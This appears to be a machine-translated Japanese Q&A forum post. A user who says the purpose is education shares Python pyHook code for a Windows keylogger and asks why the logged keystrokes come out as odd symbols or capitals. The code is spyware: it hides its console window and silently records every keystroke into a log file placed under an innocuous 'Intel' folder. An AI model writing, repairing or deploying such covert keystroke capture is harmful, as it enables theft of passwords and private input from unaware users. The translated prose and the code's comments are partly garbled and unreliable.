0
私はPyhookには新しく、教育目的のために自分自身をキーロガーにしたかったのです。しかし、ログは私に奇妙な入力を与える。ランダムなシンボル、常に首都、あるいはすべての正常と正常のいずれかです。Pyhookは何らかの理由で私に奇妙な出力を与えます
私はPython 3.4を使用していますが、私はWindowsです。
これは私のコードです:
import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass
file = open("C:\\Intel\\Logs\\log.txt", "w")
file.write("") #clears the log
file.close()
log_file = "C:\\Intel\\Logs\\log.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a")
if event.Ascii == 97: # (if char is "return")
f.write("a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
elif event.Ascii == 8: #(if char is "backspace")
f.write("[BACKSPACE]") #(print "[backspace]")
f.write(char)
print(char)# (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
コードは、主にインターネットから取得されますが、わずかに変更されています。
ここで、問題は次のとおりです。それはいつも正常な出力になることをどうすれば確認できますか?
明確にする必要があるものがあれば教えてください。
奇妙な入力、奇妙な出力、および通常の出力はどういう意味ですか? – BornToCode
通常の出力:実際にiタイプのものを出力しているとき。奇妙なもの:私はそれらを使うことさえできないようですhttps://gyazo.com/db2f067f55cabf97c179e2a8e0db0a37 – Lojas